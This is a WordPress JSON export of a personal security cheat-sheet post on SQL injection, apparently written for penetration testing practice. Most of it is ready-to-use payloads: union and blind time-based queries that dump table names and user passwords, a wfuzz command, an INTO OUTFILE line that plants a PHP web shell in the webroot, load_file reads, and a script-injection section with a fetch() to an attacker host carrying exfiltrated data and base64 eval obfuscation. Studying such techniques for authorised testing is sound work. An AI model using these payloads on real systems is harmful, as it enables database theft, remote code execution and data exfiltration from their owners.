{"id":438,"date":"2019-09-20T14:47:04","date_gmt":"2019-09-20T12:47:04","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=438"},"modified":"2026-06-04T10:37:04","modified_gmt":"2026-06-04T08:37:04","slug":"sql-injections","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=438","title":{"rendered":"<span class=\"caps\">SQL<\/span> injections"},"content":{"rendered":"\n<ol class=\"wp-block-list\">\n<li>First, try to add \u2019 or \u201d in a field to see if the appli\u00adca\u00adtion throws an&nbsp;error.<\/li>\n\n\n\n<li>Try now a <span class=\"caps\">OR<\/span> query which should return more con\u00adtent or anoth\u00ader error. <pre>' OR 1=1<\/pre><\/li>\n\n\n\n<li>Try to add a state\u00adment and guess some fields which could be includ\u00aded in the error mes\u00adsage.<br><code>' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- \/\/<\/code><br><code>' OR 1=1 in (SELECT version()) -- \/\/<\/code><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Union-based injections<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Then, try to fig\u00adure out how many columns are returned by adding an increas\u00ading num\u00adber or <span class=\"caps\">ORDER<\/span> <span class=\"caps\">BY<\/span> stata\u00adments until final\u00adly the exe\u00adcu\u00adtion fails.<br><span id=\"edb2\" class=\"ib ic ap ce id b ep ie if r ig\" data-selectable-paragraph><code>' ORDER BY 1 -- \/\/<br>' ORDER BY 2 -- \/\/<br>' ORDER BY 3 -- \/\/<br>...<\/code><\/span><br>As soon as the exe\u00adcu\u00adtion fails, the com\u00admand before indi\u00adcates the tables col\u00adumn&nbsp;count.<\/li>\n\n\n\n<li>Try now to add a <span class=\"caps\">SQL<\/span> state\u00adment which con\u00adtains some inter\u00adest\u00ading func\u00adtions (depend\u00ading on the data\u00adbase) and is padded with the prop\u00ader num\u00adber of dum\u00admy columns to match the pre\u00adviosly found col\u00adumn count. For MySQL and 5 columns:<br><code>%' UNION SELECT database(), user(), @@version, null, null -- \/\/<\/code><br>Note that it could be that the web page returns only some columns like <code>$ret[2]<\/code> \u2014 in this case, repeat the state\u00adment, but change the order of the data\u00adbase func\u00adtions.<br>Anoth\u00ader state\u00adment could be:<br><code>%' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- \/\/<\/code><\/li>\n\n\n\n<li><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Blind <span class=\"caps\">SQL<\/span> injections<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If no out\u00adput is giv\u00aden from a state\u00adment, try to use time-based approaches.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>While some\u00adthing like<br><code>file.php?username=blabla' AND 1=1 -- \/\/<\/code><br>may not return any\u00adthing if the user\u00adname does not exist, the state\u00adment<br><code>file.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- \/\/<\/code><br>will slow down the appli\u00adca\u00adtion\u2019s response if the giv\u00aden user exists.<\/li>\n\n\n\n<li><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Fuzzing<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Get a request with fields which could be injectable.<\/li>\n\n\n\n<li>use wfuzz and insert <span class=\"caps\">FUZZ<\/span> in dif\u00adfer\u00adent fields:<br><code>wfuzz -c -z file,\/usr\/share\/wordlists\/wfuzz\/Injections\/SQL.txt -d \"name=&amp;order=FUZZ\" -u http:\/\/$target\/api\/invoices<\/code><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Enumerating in inserts<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Assum\u00ading the <span class=\"caps\">INSERT<\/span> state\u00adment&nbsp;is<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">INSERT INTO $tablename (email,name) VALUES (\"email\", \"name\");<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then try a tim\u00ading attack to deter\u00admine if a cer\u00adtain val\u00adue is in a&nbsp;field:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">INSERT INTO newsletter (name,email) VALUES ('name', '\n  ' AND (IF((SELECT email FROM newsletter WHERE email=\"known_value\") = \"known_value\", sleep(10), 0)) AND '\n');<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Forcing errors<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can use <code>cast(...)<\/code> to con\u00advert a string into an integer.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumerating the structure<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Try to add a <span class=\"caps\">ORDER<\/span> <span class=\"caps\">BY<\/span> 1,2,3,\u2026 to gues how many columns there&nbsp;are:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">SELECT * FROM menu ORDER BY 5;-- at some point, an error will occur.<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Try to add an <span class=\"caps\">UNION<\/span> state\u00adment into an injectable para\u00adme\u00adter and com\u00adbine the out\u00adput with a vari\u00adable (in this case for&nbsp;MySQL)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 UNION ALL SELECT 1, @@version\n?id=1 UNION ALL SELECT 1, 2, @@version # &lt;-- following examples are for this case.\n?id=1 UNION ALL SELECT 1, 2, 3, @@version\n...<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">For the query that worked, obtain then infor\u00adma\u00adtion about the tables:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then, choose a table to explore, for exam\u00adple <em>users<\/em>. Then, enu\u00admer\u00adate the columns of this&nbsp;table:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then, val\u00adues from the tar\u00adget\u00aded table can be retrieved:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 UNION ALL SELECT 1, username, password from users<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Code execution<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Exam\u00adple to write a string into a&nbsp;file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=1 union all select 1, 2, \"&lt;?php echo shell_exec($_GET['cmd']);?&gt;\" into OUTFILE 'c:\/xampp\/htdocs\/backdoor.php' -- \/\/<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Useful commands<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">load_file returns the con\u00adtent of a&nbsp;file.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">evil.php?id=42 union select 1,2,3,load_file('C:\/...')<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><span class=\"caps\">INTO<\/span> <span class=\"caps\">OUTFILE<\/span> writes con\u00adtent into a&nbsp;file.<\/p>\n\n\n\n<div class=\"page\" title=\"Page 259\">\n<div class=\"section\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<pre>evil.php?id=738 union all select 1,2,3,4,\"&lt;?php echo shell_exec($_GET['cmd']);?&gt;\",6 into OUTFILE 'c:\/xampp\/htdocs\/backdoor.php'<\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Enu\u00admer\u00adate the count of columns: Request the fol\u00adlow\u00ading and repeat it and increase the order by para\u00adme\u00adter. An error appears after one col\u00adumn to&nbsp;many.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">evil.php?id=1 order by 1<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Loading <span class=\"caps\">JS<\/span> from external source<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To inject more com\u00adplex <span class=\"caps\">JS<\/span> from an own serv\u00ader, inject this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script src=http:\/\/$attacker\/s.js\"&gt;&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And pro\u00advide&nbsp;this.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To load own <span class=\"caps\">JS<\/span> direct\u00adly, use&nbsp;this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fetch(\"http:\/\/$attacker\/s.js?maybe_also_with=$var_for_exfiltration\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If due to char\u00adac\u00adter restric\u00adtions you have to obfuscate:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Con\u00advert your pay\u00adload to base64.<\/li>\n\n\n\n<li>Instead of<br><code>'+alert('aha')+'<\/code><br>use<br><code>'+eval(atob('base64...'))+'<\/code><\/li>\n\n\n\n<li>Should there an issue because the inject\u00aded string is used else\u00adwhere and leads to a script error, wrap the result into a func\u00adtion which removes spe\u00adcial char\u00adac\u00adters so that there is no rea\u00adson for a fail\u00adure else\u00adwhere:<br><code>'+btoa(eval(atob('base64...')))+'<\/code><\/li>\n<\/ol>\n\n\n\n<h1 class=\"wp-block-heading\">Automatic tools<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=186\" data-type=\"post\" data-id=\"186\">SQLmap<\/a><\/li>\n\n\n\n<li> <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=492\" data-type=\"post\" data-id=\"492\">Com\u00admix<\/a>: Auto\u00admat\u00adic <span class=\"caps\">SQL<\/span> injec\u00adtion dis\u00adcov\u00adery and exploitation<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\">Notes<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Try <span class=\"caps\">DB<\/span> depen\u00addend com\u00admands. E.g. for MySQL, <em>@@version<\/em> returns the ver\u00adsion of the serv\u00ader and <em>user()<\/em> the cur\u00adrent&nbsp;user.<\/li>\n\n\n\n<li>Try inline com\u00adments like <span class=\"caps\">SELECT<\/span>\/*bla*\/table to pre\u00advent blacklisting.<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\">Ressources<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.exploit-db.com\/docs\/33253\"><span class=\"caps\">INSERT<\/span> und <span class=\"caps\">DELETE<\/span> injections<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Union-based injec\u00adtions Blind <span class=\"caps\">SQL<\/span> injec\u00adtions If no out\u00adput is giv\u00aden from a state\u00adment, try to use time-based approach\u00ades. Fuzzing Enu\u00admer\u00adat\u00ading in inserts Assum\u00ading the <span class=\"caps\">INSERT<\/span> state\u00adment&nbsp;is <span class=\"caps\">INSERT<\/span> <span class=\"caps\">INTO<\/span> $table\u00adname (email,name) <span class=\"caps\">VALUES<\/span> (\u201cemail\u201d, \u201cname\u201d); Then try a tim\u00ading attack to deter\u00admine if a cer\u00adtain val\u00adue is in a&nbsp;field: <span class=\"caps\">INSERT<\/span> <span class=\"caps\">INTO<\/span> newslet\u00adter (name,email) <span class=\"caps\">VALUES<\/span> (\u2018name\u2019, \u2019 \u2019 [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470],"tags":[49,77],"class_list":["post-438","post","type-post","status-publish","format-standard","hentry","category-active-enum","tag-sql","tag-sql-injection"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/438","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=438"}],"version-history":[{"count":23,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/438\/revisions"}],"predecessor-version":[{"id":4975,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/438\/revisions\/4975"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}